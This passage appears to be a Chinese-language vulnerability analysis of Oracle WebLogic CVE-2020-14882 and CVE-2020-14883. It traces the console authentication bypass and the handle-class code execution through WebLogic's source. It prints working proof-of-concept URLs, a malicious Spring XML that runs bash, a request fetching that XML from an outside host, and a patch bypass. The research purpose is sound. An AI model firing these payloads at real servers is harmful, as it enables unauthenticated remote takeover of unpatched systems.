"java" , allowedattr); } }
*CVE-2020-14882
Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
poc
1 http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal
漏洞分析
我们将入口点定义到WebLogic处理Servlet请求的函数当中
com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class#execute
在判断完url
非访问/WEB-INF
或/META-INF
文件时就会执行就下面的securedExecute()
函数继续解析
持续根据就会来到doSecuredExecute()
函数,这里的checkAccess()
函数会用户进行鉴权操作
如果我们想要绕过下面的认证就需令这个resourceConstraint
变量不为空
getConstraint()
函数是用来判断当前url
是否在请求静态资源,如果是的话就会放回对应的静态资源列表,其中具体实现如下
因为这里的this.constraintsMap
字典只有一个""
的键值,所以consForAllMethods
包含了所有了静态资源列表(列表如下),而consForOneMethod
为空,而我们的relURI
为/css/%2e%2e%2fconsole.portal
,所以rcForAllMethods
匹配到了/css/
路径,而rcForOneMethod
本来就是空,所以根据程序逻辑,我们返回的是不为空的rcForAllMethods
变量,从而绕过了认证操作
接下来调用isAuthorized()
函数来判断用户是否认证
isAuthorized()
函数内部又调用了checkAccess()
来验证用户身份
com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\ChainedSecurityModule.class#checkAccess
然后一直跟进到checkUserPerm()
函数检查用户权限
一直跟进到hasPermission()
函数判断用户是否有访问权限
虽然我们没有AdminMode
,但是我们的资源列表/css/*
是无需授权的,所以我们的hasPermission()
返回的是true
,一路跟下来之后checkAccess()
函数返回的也是true
,最终我们的authorized
变量仍旧为true
之后便是跟进到WebLogic从web.xml
中的匹配模式找到对应的Servlet
来对请求进行处理
首先我们的*.portal
模式对应的servlet-name
为AppManagerServlet
AppManagerServlet
对应的servlet-class
为weblogic.servlet.AsyncInitServlet
根据StubSecurityHelper
类的逻辑我们会调用到对应servlet
的service()
方法
在service()
函数里,只要url
不包含;
字符就会调用父类的service()
方法
持续跟进到调用到doGet()
函数,然后最终调用的是doPost()
函数
这里会调用createUIContext()
函数来获取对应的jspContext
调用getTree()
返回控件树
但是在调用getTree()
函数时又对pattern
进行了一次url解码,这里就是目录穿越的核心
processStream()
函数内部使用getMergedControlFromFile()
函数从file
(即上面pattern
)文件中来获取对应的UI控件
调用getControlFactoryFromFile()
函数来读取xml文件
最后通过getControlFactoryFromFileWithoutCaching()
获取文件内容,即本次目录穿越漏洞的Sink
patch
1 private static final String[] IllegalUrl = new String []{";" , "%252E%252E" , "%2E%2E" , ".." , "%3C" , "%3E" , "<" , ">" };
对路径进行校验,但是可以用小写url绕过
CVE-2020-14883 poc
ShellSession
命令执行(Weblogic 10.3.6无此类)
1 http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
FileSystemXmlApplicationContext
命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[touch /tmp/success2]]></value > </list > </constructor-arg > </bean > </beans >
1 http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.28.164.182:9000/evil.xml")
漏洞分析
继续回到createUIContext()
,我们跟进一下setServletRequest()
函数
当传入的_nfpb
参数为true
时,就会把isPostback
设置为true
在创建完控件上下文之后调用runLifecycle()
函数进入控件的生命周期
当isOutBound
为false
(默认)和isPostback
为true
时,就会调用runInbound()
函数
在runInbound()
函数中会把_inboundLifecycle
赋给VisitorType
,每个VisitorType
对应着该生命周期中的一个控件操作,其中_inboundLifecycle
的第一个控件操作为UIControl.init
题外,其实这里的_nfpb=true
并不是必须的,因为我们的核心是调用到UIControl.init
控件操作,而_outboundLifecycle
实际也有这个操作
调用walk()
来遍历console.portal
文件中的控件节点并对其执行VisitorType
中对应的操作
跟进walkRecursive()
函数
当遍历指针visit
识别到有节点时就会调用visit()
函数执行对应的控件操作
而这里就是对控件进行初始化
如果该节点具有子节点就继续调用walkRecursive()
函数对子节点进行遍历
遍历方向如下图所示
在识别到/PortalConfig/contentheader/ContentHeader_breadcrumbs.portlet
节点时,程序会调用Portlet
类父类的初始化函数
其中Portlet
类的继承链和init()
操作如下
1 2 3 4 5 6 7 8 class Portlet extends class Window super .init() class Window extends class EntitledUIControl super .init() class EntitledUIControl extends class AdministeredBackableControl init () <== not exists class AdministeredBackableControl init()
所以它最终会调用到AdministeredBackableControl
的init()
函数进行初始化
netuix_servlet.jar!\com\bea\netuix\servlets\controls\Backable.class#initializeBackingFile
继续跟进它的init()
函数
这里是获取了我们传入的handle
参数
然后程序就可以初始化任意handle
类
其中ShellSession
类的调用栈如下
其中FileSystemXmlApplicationContext
类的调用栈如下
下载xml文件
解析xml文件
patch
官方对CVE-2020-14883的补丁是在com\bea\console\handles\HandleFactory#getHandle的方法中对传入的类的类型进行检查,是否为handle的子类。这里通过handle实现类com.bea.console.handles.HandleImpl
的子类com.bea.console.handles.JndiBindingHandle
的接收String的构造方法将jndi的url作为payload传入;单独这一点并不能实现RCE(之前虽然知道补丁的修复方式但是觉得单独这个无法RCE就没细看,谁知道可以结合其他点来实现RCE)。
在com.bea.console.actions.jndi.JNDIBindingAction#execute方法中,构造了JndiBindingHandle对象,并通过获取jndi的payload,并进行了特定的拼接(这里根据其拼接方式进行特殊构造),调用javax.naming.Context#lookup实现了jndi注入导致的RCE。
回显构造 具体参考一下@Y4er师傅的文章
defineClass
RMI绑定实例
URLClassLoader抛出异常
中间件
写文件css、js
dnslog
思考总结
只有实现了Serializable接口或Externalizable接口的类才能进行序列化
被transient和static修饰的变量不参与修饰符,其值为null
readResolve()方法如果被定义会在readObject()方法后被调用,修改反序列化的对象
Externalizable接口定义了writeExternal()和readExternal()方法,对应Serializable接口的writeObject()和readObject()方法
历史漏洞梳理,大部分新漏洞的造成都是对黑名单的绕过:
CVE-2015-4852、CVE2016-0638、CVE-2016-3510、CVE-2019-2890都是直接搜索能对ObjectInputStream直接进行操作的readObject()或者readExternal()方法
CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245主要在RMI的前提下不断搜索RemoteObject相似子类来绕过,或者是直接绕过resolveProxyClass()的检查
CVE-2020-2551运用T3协议和IIOP协议之间的差异进行绕过,关键的地方就是T3的resolveClass()方法会检查其父类,而IIOP的resolveClass()只会检查其本身类
CVE-2020-2555、CVE-2020-2883、CVE-2020-14645挖掘出了一条新的extractor反射链并不断搜索能够调用此方法的相似类进行绕过
CVE-2020-14644通过defineClass()来加载我们的恶意类,这是一个很巧妙的思路
CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729是根据对标签的差异解析进行绕过,这需要对源码进行深入解读才可以
参考 java反序列化漏洞(1)之反射机制
Java反序列 Jdk7u21 Payload 学习笔记
Weblogic反序列化历史漏洞全汇总
CVE-2015-4852——WebLogic反序列化初探
从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事
CVE-2017–10271漏洞原理分析
weblogic远程调试XMLDecoder RCE CVE-2017-10271
CVE-2019-2725分析
WebLogic | CVE-2019-2725反序列化漏洞分析
CVE-2017-3248——WebLogic反序列化初探
CVE-2018-2628 Weblogic反序列化漏洞分析
CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警
Weblogic JRMP反序列化漏洞回顾
CVE-2019-2729 WEBLOGIC XMLDECODER反序列化漏洞分析
Weblogic-T3-CVE-2019-2890-Analysis
Weblogic12c T3 协议安全漫谈
Weblogic 远程命令执行漏洞(CVE-2020-14644)分析
Weblogic 远程命令执行漏洞(CVE-2020-14645)分析
CVE-2020-2551: Weblogic IIOP反序列化漏洞分析
CVE-2020-14882:Weblogic Console 权限绕过深入解析
Weblogic Console漏洞分析